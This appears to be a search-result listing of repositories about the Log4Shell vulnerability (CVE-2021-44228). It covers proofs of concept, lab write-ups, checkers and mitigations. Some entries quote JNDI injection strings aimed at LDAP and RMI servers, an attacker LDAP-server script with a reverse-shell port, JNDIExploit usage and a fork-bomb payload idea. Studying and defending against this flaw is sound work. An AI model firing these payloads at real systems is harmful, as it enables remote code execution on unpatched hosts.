CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...

log4shell-exploitation-lab

Log4Shell Exploitation Lab CVE-2021-44228 Reproduced the Log4Shell vulnerability end to end in an isolated lab environment, from initial exploitation through to a full remediation report. Done as a paired piece of MSc coursework with Aditya Chaudhari, written up together as a joint report. What I...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – Log4j‑style JNDI Injection in Custom Logger Simulated Program Code Java simulation in Python log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?' for match in...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 on Apache Solr Controlled Docker environment to reproduce and study the Log4Shell vulnerability in Apache Solr. The Environment Target solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 running a vulnerable version of Log4j. Attacker kali-lab: Basic Kali Linux...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo A simple program to demonstrate how Log4j vulnerability can be exploited CVE-2021-44228 Running the Demo : To start the program, simply run the start.sh on UNIX systems or start.bat on Windows. User input will be read and logged to console using the Log4j framework. By...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- Penetration testing 1. Create malicious LDAP Server using Marshalsec !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ Khở...

CVE-2021-44228

CVE-2021-44228 checker This is the repository for checking for vulnerability CVE-2021-44228. This is a PoC that only displays strings without any external class loading. It cannot be used for arbitrary code execution. How it works? Step 1: Run the server application The image...

log4j-jndi-be-gone

log4j-jndi-be-gone A Byte Buddy Java agent-based fix for CVE-2021-44228, the log4j 2.x "JNDI LDAP" vulnerability. It does three things: Disables the internal method handler for jndi: format strings "lookups". Logs a message to System.err i.e stderr indicating that a log4j JNDI attempt has been ma...

ModSec-log4j2

Testing the ModSec rule Prerequisites Have docker installed Have Java installed on your machine Running the test Perform a git clone of the repository Execute the command below to start the WAF ModSec and the vulnerable application docker stack deploy -c docker-compose.yml WAF Extract the...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Proof of Concept of apache log4j LDAP lookup vulnerability You can read more about the vulnerability here: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ How to run the provided ldap server that returns malicious object ? java -jar...

log4shell

Log4Shell This project is a demonstration of how the log4shell security vulnerability works. This vulnerability is described in CVE-2021-44228. The project is intended for educational purposes only. It should only be used on your own system and solely for experimental purposes. Any execution is...

log4j-cve-2021-44228

Log4j CVE-2021-44228 and CVE-2021-45046 Requisites Use a vulnerable JDK, for instance JDK 1.8.0181 Usage Malicious server The malicious server deploys the following endpoints: 1389 LDAP server 1099 RMI server 8081 HTTP server ./gradlew :malicious-server:bootRun Vulnerable application The vulnerab...

test-44228

test-44228 A simple example for CVE-2021-44228 Implements two java CLIs, one using log4j v1.x, the other using log4j 2.x to demonstrate the log4shell vulnerability. See also: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html Usage...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: example of launching a fork bomb on a remote server due to vulnerability CVE-2021-44228 1. Create an attacker's LDAP server server module that will serve string and code payloads payload module 2. Create a victim example victim module and pass a...

log4j2-test

Log4j2 2.14.1 LDAP Remote Code Execution Vulnerability CVE-2021-44228 Verification 🎈 Tested on Spring Boot 2.x environment Vulnerability advisory https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Downgraded Log4j2 version to a vulnerable version 17 2.14.1 LoggingController :...

log4j-vul

log4j-vul This project is just to show Apache Log4j2 Vulnerability - aka CVE-2021-44228 Java: java version "1.8.0121" Compile: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: from src folder java -classpath...

JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Details : CVE-2021-44228 Usage : ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage Show usage...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228Apache Log4j Remote Code Execution） Versions Affected: all versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 Security Advisories / Bulletins linked to Log4Shell CVE-2021-44228 Usage: 1. 下载该项目，编译InjectClazz.java download git clone...

log4j2-issue-check

Evaluate the Log4Shell: RCE 0-day Issue This repo contains the code to evaluate Log4j2 issue CVE-2021-44228 More details https://www.lunasec.io/docs/blog/log4j-zero-day/ How to Test Send GET request with query parameter as $jndi:ldap://127.0.0.1:3089/...